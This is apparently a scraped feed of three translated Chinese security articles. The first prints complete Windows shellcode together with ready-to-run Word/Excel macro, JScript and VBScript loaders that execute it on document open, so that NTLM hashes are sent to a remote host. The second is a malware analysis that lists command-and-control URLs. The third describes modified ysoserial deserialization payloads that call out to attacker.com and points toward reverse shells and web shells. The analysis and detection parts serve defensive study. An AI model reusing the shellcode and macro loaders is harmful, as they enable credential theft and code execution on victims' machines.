/* Title:CreateFileShellcode Author:OsandaMalithJayathissa(@OsandaMalith) Website:https://osandamalith.com Size:368Bytes */ #include<stdlib.h> #include<stdio.h> #include<string.h> #include<windows.h> intmain(){ char*shellcode= "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x4c\x03\x02\x02\x81\xf1\x02\x02" "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa" "\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x29\x01\x05\x05" "\xb9\x02\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x56\xb9\x8d\x10" "\xb7\xf8\xe8\x5f\x05\x05\x05\x68\x31\x01\x05\x05\xff\xd0\xb9\xe0" "\x53\x31\x4b\xe8\x4e\x05\x05\x05\xb9\xac\xd5\xaa\x88\x8b\xf0\xe8" "\x42\x05\x05\x05\x6a\x05\x68\x80\x05\x05\x05\x6a\x03\x6a\x05\x6a" "\x01\x68\x05\x05\x05\x80\x68\x3e\x01\x05\x05\xff\xd0\x6a\x05\xff" "\xd6\x33\xc0\x5e\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c\x61\x0f\xbe" "\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0\x75\xea\x8b" "\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53\x56\x57\x89" "\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b\x45\xfc\x8b\x40" "\x0c\x8b\x40\x14\x89\x45\xec\x8b\xf8\x8b\xcf\xe8\xd2\xff\xff\xff" "\x8b\x70\x18\x8b\x3f\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78" "\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff\xff\xff\x8b" "\x4c\x33\x20\x89\x45\xf8\x33\xc0\x03\xce\x89\x4d\xf0\x89\x45\xfc" "\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75\xff\xff\xff" "\x03\x45\xf8\x39\x45\xf4\x74\x1c\x8b\x45\xfc\x8b\x4d\xf0\x40\x89" "\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c\x33\xc0\x5f" "\x5e\x5b\xc9\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48\x0f\xb7" "\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6\xeb\xdf" "\x21\x05\x05\x05\x50\x05\x05\x05\x6b\x65\x72\x6e\x65\x6c\x33\x32" "\x2e\x64\x6c\x6c\x05\x2f\x2f\x65\x72\x72\x6f\x72\x2f\x61\x61\x05"; DWORDoldProtect; wprintf(L"Length:%dbytes\n@OsandaMalith",strlen(shellcode)); BOOLret=VirtualProtect(shellcode,strlen(shellcode),PAGE_EXECUTE_READWRITE,&oldProtect); if(!ret){ fprintf(stderr,"%s","ErrorOccured"); returnEXIT_FAILURE; } ((void(*)(void))shellcode)(); VirtualProtect(shellcode,strlen(shellcode),oldProtect,&oldProtect); returnEXIT_SUCCESS; }

https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html


【技术分享】窃取NTLM HASH的多种奇妙方法

将Shellcode嵌入到宏里

在这里,我们将上面的Shellcode嵌入到Word/Excel宏里面。你可以使用同样的代码嵌入到一个VB6应用程序中:

'Author:OsandaMalithJayathissa(@OsandaMalith) 'Title:Shellcodetorequestanon-existingnetworkpath 'Website:https://osandamalith 'Shellcode:https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html 'Thisisaword/excelmacro.Thiscanbeusedinvb6applicationsaswell #IfVba7Then PrivateDeclarePtrSafeFunctionCreateThreadLib"kernel32"(_ ByVallpThreadAttributesAsLong,_ ByValdwStackSizeAsLong,_ ByVallpStartAddressAsLongPtr,_ lpParameterAsLong,_ ByValdwCreationFlagsAsLong,_ lpThreadIdAsLong)AsLongPtr PrivateDeclarePtrSafeFunctionVirtualAllocLib"kernel32"(_ ByVallpAddressAsLong,_ ByValdwSizeAsLong,_ ByValflAllocationTypeAsLong,_ ByValflProtectAsLong)AsLongPtr PrivateDeclarePtrSafeFunctionRtlMoveMemoryLib"kernel32"(_ ByValDestinationAsLongPtr,_ ByRefSourceAsAny,_ ByValLengthAsLong)AsLongPtr #Else PrivateDeclareFunctionCreateThreadLib"kernel32"(_ ByVallpThreadAttributesAsLong,_ ByValdwStackSizeAsLong,_ ByVallpStartAddressAsLong,_ lpParameterAsLong,_ ByValdwCreationFlagsAsLong,_ lpThreadIdAsLong)AsLong PrivateDeclareFunctionVirtualAllocLib"kernel32"(_ ByVallpAddressAsLong,_ ByValdwSizeAsLong,_ ByValflAllocationTypeAsLong,_ ByValflProtectAsLong)AsLong PrivateDeclareFunctionRtlMoveMemoryLib"kernel32"(_ ByValDestinationAsLong,_ ByRefSourceAsAny,_ ByValLengthAsLong)AsLong #EndIf ConstMEM_COMMIT=&H1000 ConstPAGE_EXECUTE_READWRITE=&H40 SubAuto_Open() DimsourceAsLong,iAsLong #IfVba7Then DimlpMemoryAsLongPtr,lResultAsLongPtr #Else DimlpMemoryAsLong,lResultAsLong #EndIf DimbShellcode(376)AsByte bShellcode(0)=232 bShellcode(1)=255 bShellcode(2)=255 bShellcode(3)=255 bShellcode(4)=255 bShellcode(5)=192 bShellcode(6)=95 bShellcode(7)=185 bShellcode(8)=85 bShellcode(9)=3 bShellcode(10)=2 bShellcode(11)=2 bShellcode(12)=129 bShellcode(13)=241 bShellcode(14)=2 bShellcode(15)=2 bShellcode(16)=2 ..................... lpMemory=VirtualAlloc(0,UBound(bShellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE) Fori=LBound(bShellcode)ToUBound(bShellcode) source=bShellcode(i) lResult=RtlMoveMemory(lpMemory+i,source,1) Nexti lResult=CreateThread(0,0,lpMemory,0,0,0) EndSub SubAutoOpen() Auto_Open EndSub SubWorkbook_Open() Auto_Open EndSub

https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vba


将Shellcode嵌入到VBS和JS代码中

subTee做了很多关于JS和DynamicWrapperX的研究。你可以找到一个使用DynamicWrapperX DLL的POC,根据他的研究,我将Shellcode嵌入到了JS和VBS中。有趣的是,我可以将Shellcode嵌入JScript或VBScript脚本中,再将这些脚本内嵌到HTML或“.hta”格式的文件中:

JScript:

/* *Author:OsandaMalithJayathissa(@OsandaMalith) *Title:Shellcodetorequestanon-existingnetworkpath *Website:https://osandamalith *Shellcode:https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html *BasedonsubTee'sJS:https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04 */ DX=newActiveXObject("DynamicWrapperX"); DX.Register("kernel32.dll","VirtualAlloc","i=luuu","r=u"); DX.Register("kernel32.dll","CreateThread","i=uullu","r=u"); DX.Register("kernel32.dll","WaitForSingleObject","i=uu","r=u"); varMEM_COMMIT=0x1000; varPAGE_EXECUTE_READWRITE=0x40; varsc=[ 0xe8,0xff,0xff,0xff,0xff,0xc0,0x5f,0xb9,0x55,0x03,0x02,0x02,0x81,0xf1,0x02,0x02,0x02,0x02,0x83,0xc7, 0x1d,0x33,0xf6,0xfc,0x8a,0x07,0x3c,0x05,0x0f,0x44,0xc6,0xaa,0xe2,0xf6,0xe8,0x05,0x05,0x05,0x05,0x5e, 0x8b,0xfe,0x81,0xc6,0x29,0x01,0x05,0x05,0xb9,0x02,0x05,0x05,0x05,0xfc,0xad,0x01,0x3c,0x07,0xe2,0xfa, 0x56,0xb9,0x8d,0x10,0xb7,0xf8,0xe8,0x5f,0x05,0x05,0x05,0x68,0x31,0x01,0x05,0x05,0xff,0xd0,0xb9,0xe0, 0x53,0x31,0x4b,0xe8,0x4e,0x05,0x05,0x05,0xb9,0xac,0xd5,0xaa,0x88,0x8b,0xf0,0xe8,0x42,0x05,0x05,0x05, 0x6a,0x05,0x68,0x80,0x05,0x05,0x05,0x6a,0x03,0x6a,0x05,0x6a,0x01,0x68,0x05,0x05,0x05,0x80,0x68,0x3e, 0x01,0x05,0x05,0xff,0xd0,0x6a,0x05,0xff,0xd6,0x33,0xc0,0x5e,0xc3,0x33,0xd2,0xeb,0x10,0xc1,0xca,0x0d, 0x3c,0x61,0x0f,0xbe,0xc0,0x7c,0x03,0x83,0xe8,0x20,0x03,0xd0,0x41,0x8a,0x01,0x84,0xc0,0x75,0xea,0x8b, 0xc2,0xc3,0x8d,0x41,0xf8,0xc3,0x55,0x8b,0xec,0x83,0xec,0x14,0x53,0x56,0x57,0x89,0x4d,0xf4,0x64,0xa1, 0x30,0x05,0x05,0x05,0x89,0x45,0xfc,0x8b,0x45,0xfc,0x8b,0x40,0x0c,0x8b,0x40,0x14,0x89,0x45,0xec,0x8b, 0xf8,0x8b,0xcf,0xe8,0xd2,0xff,0xff,0xff,0x8b,0x70,0x18,0x8b,0x3f,0x85,0xf6,0x74,0x4f,0x8b,0x46,0x3c, 0x8b,0x5c,0x30,0x78,0x85,0xdb,0x74,0x44,0x8b,0x4c,0x33,0x0c,0x03,0xce,0xe8,0x96,0xff,0xff,0xff,0x8b, 0x4c,0x33,0x20,0x89,0x45,0xf8,0x33,0xc0,0x03,0xce,0x89,0x4d,0xf0,0x89,0x45,0xfc,0x39,0x44,0x33,0x18, 0x76,0x22,0x8b,0x0c,0x81,0x03,0xce,0xe8,0x75,0xff,0xff,0xff,0x03,0x45,0xf8,0x39,0x45,0xf4,0x74,0x1c, 0x8b,0x45,0xfc,0x8b,0x4d,0xf0,0x40,0x89,0x45,0xfc,0x3b,0x44,0x33,0x18,0x72,0xde,0x3b,0x7d,0xec,0x75, 0x9c,0x33,0xc0,0x5f,0x5e,0x5b,0xc9,0xc3,0x8b,0x4d,0xfc,0x8b,0x44,0x33,0x24,0x8d,0x04,0x48,0x0f,0xb7, 0x0c,0x30,0x8b,0x44,0x33,0x1c,0x8d,0x04,0x88,0x8b,0x04,0x30,0x03,0xc6,0xeb,0xdf,0x21,0x05,0x05,0x05, 0x50,0x05,0x05,0x05,0x6b,0x65,0x72,0x6e,0x65,0x6c,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x05,0x2f,0x2f,0x33, 0x35,0x2e,0x31,0x36,0x34,0x2e,0x31,0x35,0x33,0x2e,0x32,0x32,0x34,0x2f,0x61,0x61,0x05]; varscLocation=DX.VirtualAlloc(0,sc.length,MEM_COMMIT,PAGE_EXECUTE_READWRITE); for(vari=0;i<sc.length;i++)DX.NumPut(sc[i],scLocation,i); varthread=DX.CreateThread(0,0,scLocation,0,0);

https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.js

VBScript:

'Author:OsandaMalithJayathissa(@OsandaMalith) 'Title:Shellcodetorequestanon-existingnetworkpath 'Website:https://osandamalith 'Shellcode:https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html 'BasedonsubTee'sJS:https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04 SetDX=CreateObject("DynamicWrapperX") DX.Register"kernel32.dll","VirtualAlloc","i=luuu","r=u" DX.Register"kernel32.dll","CreateThread","i=uullu","r=u" DX.Register"kernel32.dll","WaitForSingleObject","i=uu","r=u" ConstMEM_COMMIT=&H1000 ConstPAGE_EXECUTE_READWRITE=&H40 shellcode=Array(_ &He8,&Hff,&Hff,&Hff,&Hff,&Hc0,&H5f,&Hb9,&H55,&H03,&H02,&H02,&H81,&Hf1,&H02,&H02,&H02,&H02,&H83,&Hc7,_ &H1d,&H33,&Hf6,&Hfc,&H8a,&H07,&H3c,&H05,&H0f,&H44,&Hc6,&Haa,&He2,&Hf6,&He8,&H05,&H05,&H05,&H05,&H5e,_ &H8b,&Hfe,&H81,&Hc6,&H29,&H01,&H05,&H05,&Hb9,&H02,&H05,&H05,&H05,&Hfc,&Had,&H01,&H3c,&H07,&He2,&Hfa,_ &H56,&Hb9,&H8d,&H10,&Hb7,&Hf8,&He8,&H5f,&H05,&H05,&H05,&H68,&H31,&H01,&H05,&H05,&Hff,&Hd0,&Hb9,&He0,_ &H53,&H31,&H4b,&He8,&H4e,&H05,&H05,&H05,&Hb9,&Hac,&Hd5,&Haa,&H88,&H8b,&Hf0,&He8,&H42,&H05,&H05,&H05,_ &H6a,&H05,&H68,&H80,&H05,&H05,&H05,&H6a,&H03,&H6a,&H05,&H6a,&H01,&H68,&H05,&H05,&H05,&H80,&H68,&H3e,_ &H01,&H05,&H05,&Hff,&Hd0,&H6a,&H05,&Hff,&Hd6,&H33,&Hc0,&H5e,&Hc3,&H33,&Hd2,&Heb,&H10,&Hc1,&Hca,&H0d,_ &H3c,&H61,&H0f,&Hbe,&Hc0,&H7c,&H03,&H83,&He8,&H20,&H03,&Hd0,&H41,&H8a,&H01,&H84,&Hc0,&H75,&Hea,&H8b,_ &Hc2,&Hc3,&H8d,&H41,&Hf8,&Hc3,&H55,&H8b,&Hec,&H83,&Hec,&H14,&H53,&H56,&H57,&H89,&H4d,&Hf4,&H64,&Ha1,_ &H30,&H05,&H05,&H05,&H89,&H45,&Hfc,&H8b,&H45,&Hfc,&H8b,&H40,&H0c,&H8b,&H40,&H14,&H89,&H45,&Hec,&H8b,_ &Hf8,&H8b,&Hcf,&He8,&Hd2,&Hff,&Hff,&Hff,&H8b,&H70,&H18,&H8b,&H3f,&H85,&Hf6,&H74,&H4f,&H8b,&H46,&H3c,_ &H8b,&H5c,&H30,&H78,&H85,&Hdb,&H74,&H44,&H8b,&H4c,&H33,&H0c,&H03,&Hce,&He8,&H96,&Hff,&Hff,&Hff,&H8b,_ &H4c,&H33,&H20,&H89,&H45,&Hf8,&H33,&Hc0,&H03,&Hce,&H89,&H4d,&Hf0,&H89,&H45,&Hfc,&H39,&H44,&H33,&H18,_ &H76,&H22,&H8b,&H0c,&H81,&H03,&Hce,&He8,&H75,&Hff,&Hff,&Hff,&H03,&H45,&Hf8,&H39,&H45,&Hf4,&H74,&H1c,_ &H8b,&H45,&Hfc,&H8b,&H4d,&Hf0,&H40,&H89,&H45,&Hfc,&H3b,&H44,&H33,&H18,&H72,&Hde,&H3b,&H7d,&Hec,&H75,_ &H9c,&H33,&Hc0,&H5f,&H5e,&H5b,&Hc9,&Hc3,&H8b,&H4d,&Hfc,&H8b,&H44,&H33,&H24,&H8d,&H04,&H48,&H0f,&Hb7,_ &H0c,&H30,&H8b,&H44,&H33,&H1c,&H8d,&H04,&H88,&H8b,&H04,&H30,&H03,&Hc6,&Heb,&Hdf,&H21,&H05,&H05,&H05,_ &H50,&H05,&H05,&H05,&H6b,&H65,&H72,&H6e,&H65,&H6c,&H33,&H32,&H2e,&H64,&H6c,&H6c,&H05,&H2f,&H2f,&H33,_ &H35,&H2e,&H31,&H36,&H34,&H2e,&H31,&H35,&H33,&H2e,&H32,&H32,&H34,&H2f,&H61,&H61,&H05) scLocation=DX.VirtualAlloc(0,UBound(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE) Fori=LBound(shellcode)toUBound(shellcode) DX.NumPutshellcode(i),scLocation,i Next thread=DX.CreateThread(0,0,scLocation,0,0)

https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vbs

在Windows系统中,可能还存在很多种窃取NTLM HASH的方法,你可以断续探索。


【技术分享】窃取NTLM HASH的多种奇妙方法
【技术分享】窃取NTLM HASH的多种奇妙方法
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/

【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析

$
0
0
【木马分析】针对Mac OS X和windows两大系统的恶意word文档分析

2017-03-27 16:11:52
来源:blog.fortinet.com 作者:啦咔呢

阅读:389次
点赞(0)
收藏





【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析

翻译:啦咔呢

稿费:140RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

3月16日,FortiGuard实验室捕获了一个新的Word文件,它可以通过执行恶意VBA(Visual Basic for Applications)代码来传播恶意软件。该样本的目标是针对苹果 Mac OS X和微软 Windows系统。随后我们分析该样本,在本文中,将会逐步解释它的工作原理。

当Word文件打开时,它显示一个通知受害者启用宏的安全选项,这将会允许执行恶意的VBA代码。


恶意Word文件被打开


【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析

图1.要求受害者启用宏安全选项

恶意VBA代码一旦被执行,AutoOpen()函数就会被自动调用。它首先做的是从Word文件的“注释”属性中读取数据。


【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析

图2. Word文件的“注释”属性

“注释”的值是一个base64编码,可以通过以下VBA代码读出和解码:


【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析

在base64解码之后,我们可以获得明文代码,可以看出是一个python脚本,如下所示。


【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析

接下来,代码将根据操作系统类型(苹果Mac OS或微软Windows)执行不同的路由,这点你可以在图3的流程图中看到。


【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析

图3.根据OS类型调用不同的路由

我们发现这个恶意的VBA代码是在使用metasploit框架获取的代码基础上进行了略微修改,你可以在https//github.com/rapid7/metasploit-framework/blob/master/external/source/exploits/office_word_macro/macro.vba 中找到它们。


在苹果Mac OS X中如何工作

你可能知道,Mac OS X附带了苹果预装的Python环境,这允许它默认执行python脚本。如上所述,base64解码的python脚本被传递到将在函数底部执行的ExecuteForOSX函数上(参见图3)。

python脚本比较简单,它从base64编码的字符串中提取代码并执行。如下,你可以看到它被解码后的情况,这是一个很清晰的python脚本。


【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析

当执行python脚本时,它会从“hxxps://sushi.vvlxpress.com:443/HA1QE”下载一个文件,并执行它。下载的python脚本是 Python meterpreter文件稍微修改后的版本,它也是Metasploit框架的一部分。项目的源代码可以从以下URL下载:https://github.com/rapid7/metasploit-payloads/blob/master/python/meterpreter/meterpreter.py 。

下载的文件(HA1QE)和原始文件之间的主要变化如下:


【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析

图4. HA1QE和meterpreter.py之间的差异

HTTP_CONNECTION_URL常量(hxxps://sushi.vvlxpress.com:443/TtxCTzF1Q2gqND8gcvg-cwGEk5tPhorXkzS0gXv9-zFqsvVHxi-1804lm2zGUE31cs/)被设置为脚本将要连接的Metasploit目标端点。

PAYLOAD_UUID常量用作客户端的标识符,我们认为这些常量也被攻击者用于活动跟踪。

脚本一旦执行后,便会尝试连接到主机“sushi.vvlxpress.com” 的 443端口上。但是在分析过程中发出请求时,服务器没有回答客户端请求。


【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析

图5. Wireshark显示连接到服务器时TCP重传错误

在尝试连接到可到达的服务器时,python进程在系统上保持活动状态。


【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析

图6.尝试连接到服务器的Python脚本


在微软Windows中如何工作

尽管ExecuteForWindows函数的参数与ExecuteForOSX函数相同,但代码并没有使用它。取而代之,使用cmd.exe通过DOS样式的命令字符串来启动。当命令执行时,powershell.exe被静默(-w隐藏窗口)启动,并且它执行base64编码的代码(-e base64编码的代码。)更多的详细信息,请参阅以下屏幕截图。


【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析

图7. Dos样式命令

依旧是base64,这个恶意软件的作者喜欢使用base64对敏感代码进行编码。我们将在其余的分析中看到更多的base64编码数据。

解码base64编码的数据,我们得到以下powershell脚本:


【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析

上述PowerShell脚本的主要工作是解压缩一段基于base64编码的gzip数据,以获取另一个PowerShell脚本(通过调用FromBase64String()和GzipStream())并执行它(通过调用Start($ s))。

接下来,我们继续看看解压缩的powershell代码。为了更好理解,我修改了一些函数和变量名。

以下是代码段:


【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析

从上面的PowerShell代码,我们可以看到它首先解码了base64编码的数据。实际上,这是随后要执行的64位二进制代码。然后,它在当前进程(powershell.exe)中分配了一个缓冲区,并通过调用VirtualAlloc和拷贝函数将64位代码复制到缓冲区中。最后,它调用CreateThread函数,其线程函数指向新缓冲区。这意味着64位代码是线程函数并可以被执行。根据我们的分析,这个恶意软件只影响64位Windows。


【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析

图8. 64位ASM代码

我们分析了IDA Pro中的64位代码,如上图所示。一旦启动,它将从“hxxps://pizza.vvlxpress.com:443 / kH-G5”下载文件到新分配的缓冲区中。下载的文件实际上是一个64位的DLL文件。在线程函数完成之前,它的堆栈返回地址被设置为下载的64位DLL缓冲区地址。这意味着64位DLL在线程函数返回时被执行。

接下来,我们看到DLL可以与其服务器通信,例如“hxxps:// pizza.vvlxpress.com:443/5MTb8oL0ZTfWeNd6jrRhOA1uf-yhSGVG-wS4aJuLawN7dWsXayutfdgjFmFG9zbExdluaHaLvLjjeB02jkts1pq2bR/”。我们可以在调试器中看到它,如下所示。


【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析

图9.与其服务器的通信

在这一点上,我们仍在努力分析下载的DLL,并尝试从中收集更多信息。我们稍后会分享有关此恶意软件的更多详细信息,因为我们发现了更多有趣的细节。


缓解措施

原始Word样本文件已被FortiGuard 反病毒服务检出为“WM/Agent.7F67!tr”。


IoCs

URL:

hxxps://sushi.vvlxpress.com:443/HA1QE hxxps://pizza.vvlxpress.com:443/kH-G5 hxxps://pizza.vvlxpress.com:443/5MTb8oL0ZTfWeNd6jrRhOA1uf-yhSGVG-wS4aJuLawN7dWsXayutfdgjFmFG9zbExdluaHaLvLjjeB02jkts1pq2bR/ hxxps://sushi.vvlxpress.com:443/TtxCTzF1Q2gqND8gcvg-cwGEk5tPhorXkzS0gXv9-zFqsvVHxi-1804lm2zGUE31cs/

样本SHA256:

Sample.doc06A134A63CCAE0F5654C15601D818EF44FBA578D0FDF325CADFA9B089CF48A74 HA1QE.py3A0924D55FB3BF3C5F40ADCE0BD281D75E62D0A52D8ADFA05F2084BA37D212C8 kH-G5.dllC36021A2D80077C2118628ED6DB330FEF57D76810FF447EF80D2AB35B95099BC

【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析
【木马分析】针对Mac OS X和Windows两大系统的恶意word文档分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.fortinet.com/2017/03/22/microsoft-word-file-spreads-malware-targeting-both-apple-mac-os-x-and-microsoft-windows

【技术分享】通过泄露到DNS的信息检测反序列化漏洞(含演示视频)

$
0
0
【技术分享】通过泄露到DNS的信息检测反序列化漏洞(含演示视频)

2017-03-27 14:41:39
来源:安全客 作者:pwn_361

阅读:904次
点赞(0)
收藏





【技术分享】通过泄露到DNS的信息检测反序列化漏洞(含演示视频)

翻译:pwn_361

稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

此刻,JAVA反序列化漏洞正在被厂商和攻击者所熟知。渗透测试人员今后还会遇到这种类型的漏洞。使用当前的一些小工具可以识别出这些漏洞,不过,大多数可用的小工具依赖于命令执行API。由于目标操作系统环境限制条件存在区别,因此,有效载荷的命令在目标系统中执行时,不一定会每次都成功。另外,在目标系统中,载荷所使用的命令也有可能不存在,或者载荷所要求的参数可能因命令的版本或安装的环境而有所不同(以GUN的netcat VS OpenBSD的netcat为例)。

由于在部分目标系统环境中存在上面提到的关于执行命令的一些限制,要想探测出这些漏洞就需要更多的试验和错误,对于目标,可能需要发送多个有效载荷,这使得自动化探测更加困难。制作一个通用的有效载荷,将会简化大规模反序列化漏洞的探测过程。在介绍我们的扫描方法之前,让我们为“更可靠的有效载荷”定义一个具体的实现目标。


目标

1.使有效载荷和具体的操作系统无关,如windows、Ubuntu、Alpine linux (Docker)、Solaris、AIX等系统。

2.即使目标的WEB容器运行在安全管理器或沙盒中,也能探测到发生的事情。

3.支持最常见的JVM1.6+版本,和可能的1.5*版本。

YSoSerial生成的大多数载荷都符合这些条件。


【技术分享】通过泄露到DNS的信息检测反序列化漏洞(含演示视频)

示例场景

GoSecure的渗透测试小组遇到过几个需要对当前的小工具(或者称为载荷、组件)做一些修改的案例。例如,发现了一个旧的JBoss实例,并且对外开放了JMXInvokerServlet接口。根据它的版本,我们预计它应该存在可利用的漏洞。但是令人惊讶的是,我们利用所有已知的漏洞测试工具对这个JBoss实例进行测试,但是都失败了。

这些测试工具的失败意味着存在两种可能性:一是这些小工具在这个特定的环境中不起作用,二是目标系统已经打了补丁。然而,我们利用一个简单的有效载荷(就是后面我们创建的DNS解析载荷)做了一个DNS查询,证实了目标系统确实存在相应漏洞。基于这个事实,我们认为,为了避免使用命令执行API,创建一个替代的小工具是有必要的。


创建一个DNS小工具

为了确认目标是否存在漏洞,我们将对YSoSerial(frohoff/ysoserial、未修改)的一个已经存在的小工具进行修改。我们将使用一个简单的代码代替命令执行载荷,该代码将触发一个DNS解析。

Ysoserial中最常用的一个有效载荷是“Commons Collection”。其中,“Transformer”链会触发下面的代码:

Transformer链(使用了命令执行载荷):

finalTransformer[]transformers=newTransformer[]{ newConstantTransformer(Runtime.class), newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}), newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}), newInvokerTransformer("exec",newClass[]{String.class},execArgs), newConstantTransformer(1)};

触发的代码:

((Runtime)Runtime.class.getMethod("getRuntime",newClass[0]).invoke(newClass[]{Object.class,Object.class},newObject[0])).exec("echoyourcommandhere");

上面是未经修改的Ysoserial的代码,为了不使用命令执行API,我们对它进行必要的修改。同时,我们不能使用“nslookup”命令来触发DNS解析,因为我们要避免使用命令执行API。为此,我们将直接使用java API。

下面是我们修改过的Transformer链(使用了DNS解析载荷):

newURL("http://resolve-me-aaaa.attacker.com").openConnection().getInputStream().read();

确认目标是否存在漏洞

如下图,我们利用Ysoserial(修改过的)生成了一个能解析独特主机名的一个载荷(或者称为配件、小工具)。将载荷发送给目标服务器后,如果服务器处理了任何反序列化,这个独特名称就可以作为追踪的方法。服务器可能会多次评估这个漏洞,或带有一些延时。使用独特主机名可以避免有可能产生的混淆,特别是当扫描多个主机时。在我们的ysoserial分支(GoSecure/ysoserial、已修改)中,已经有可用的完整POC代码。如下图,生成载荷:

$java-jarysoserial-0.0.5-SNAPSHOT-all.jarCommonsCollections1Dnshttp://resolve-me-aaaa.attacker.com|xxd 00000000:aced00057372003273756e2e7265666c....sr.2sun.refl 00000010:6563742e616e6e6f746174696f6e2e41ect.annotation.A 00000020:6e6e6f746174696f6e496e766f636174nnotationInvocat 00000030:696f6e48616e646c657255caf50f15cbionHandlerU..... 00000040:7ea50200024c000c6d656d6265725661~....L..memberVa 00000050:6c75657374000f4c6a6176612f757469luest..Ljava/uti 00000060:6c2f4d61703b4c000474797065740011l/Map;L..typet.. 00000070:4c6a6176612f6c616e672f436c617373Ljava/lang/Class 00000080:3b7870737d00000001000d6a6176612e;xps}......java. 00000090:7574696c2e4d6170787200176a617661util.Mapxr..java 000000a0:2e6c616e672e7265666c6563742e5072.lang.reflect.Pr 000000b0:6f7879e127da20cc1043cb0200014c00oxy.'...C....L. 000000c0:01687400254c6a6176612f6c616e672f.ht.%Ljava/lang/ 000000d0:7265666c6563742f496e766f63617469reflect/Invocati 000000e0:6f6e48616e646c65723b78707371007eonHandler;xpsq.~ [...]

向目标系统发送载荷后,如果在我们配置的DNS服务器上收到了一个相应的DNS查询请求,那么就可以确认目标存在漏洞。为了记录DNS查询请求,我们可以利用很多工具,如 DNS chef,Burp Collaborator或tcpdump。在下面的样本中,我们使用DNS Chef来记录查询请求,可以看到DNS查询请求成功到达测试服务器。

#pythondnschef.py-q--fakeip127.0.0.1-i0.0.0.0 [*]DNSChefstartedoninterface:0.0.0.0 [*]Usingthefollowingnameservers:8.8.8.8 [*]CookingallArepliestopointto127.0.0.1 [12:16:05]74.125.X.X:cookingtheresponseoftype'A'forresolve-me-aaaa.attacker.comto127.0.0.1 [12:16:05]192.221.X.X:cookingtheresponseoftype'A'forresolve-me-aaaa.attacker.comto127.0.0.1

下图是这种异步扫描方法的直观表示图:


【技术分享】通过泄露到DNS的信息检测反序列化漏洞(含演示视频)

其他考虑

一旦确认目标存在漏洞,渗透测试人员为了得到一个SHELL,需要继续做一些试验、或触发一些错误命令。关于这个工作,有一些有用的技巧:

1.确保你已经测试了一些反向SHELL命令(查看Reverse Shell Cheat-Sheet)。

2.“Common collection”载荷在某些特定的JVM中可能会失败(如IBM J9)。Mathias Kaiser制作了一个特殊的载荷,支持这个不常见的JVM,详情请看CommonsCollections6。

3.如果目标强制执行了一个安全管理器,你可能需要制作一个自定义的小工具。你可以通过“DEADCODE’s blog article”去了解transformer链的大致情况。一种流行的方法是找到Web根目录的路径,并编写一个可以稍后执行的web shell。关于此,在GoSecure仓库中有一些样本工具。再说一次,如果目标环境中的安全管理器会阻止命令执行,才会需要这些工具。


演示视频

我们创建了一个异步反序列化漏洞扫描工具“Break Fast Serial”,对DNS Chef也做了一点修改,下面是该工具的简要演示。演示了对单个目标的扫描。DNS泄漏的信息证明了这个服务器存在反序列化漏洞。该工具还支持对多个IP、端口进行扫描。该扫描器将对JBoss,Weblogic和Jenkins易受攻击的版本进行探测。对于如何配置DNS Chef服务器、如何生成载荷,及更多其它详细信息,请阅读参考手册,及相应POC代码。


结论

泄漏到DNS的信息有利于以下三个方面:

1.它可以实现反序列化漏洞的探测。

2.它有利于自动扫描多个主机。

3.即使目标服务器存在严格的防火墙限制,它也能识别出存在的漏洞。

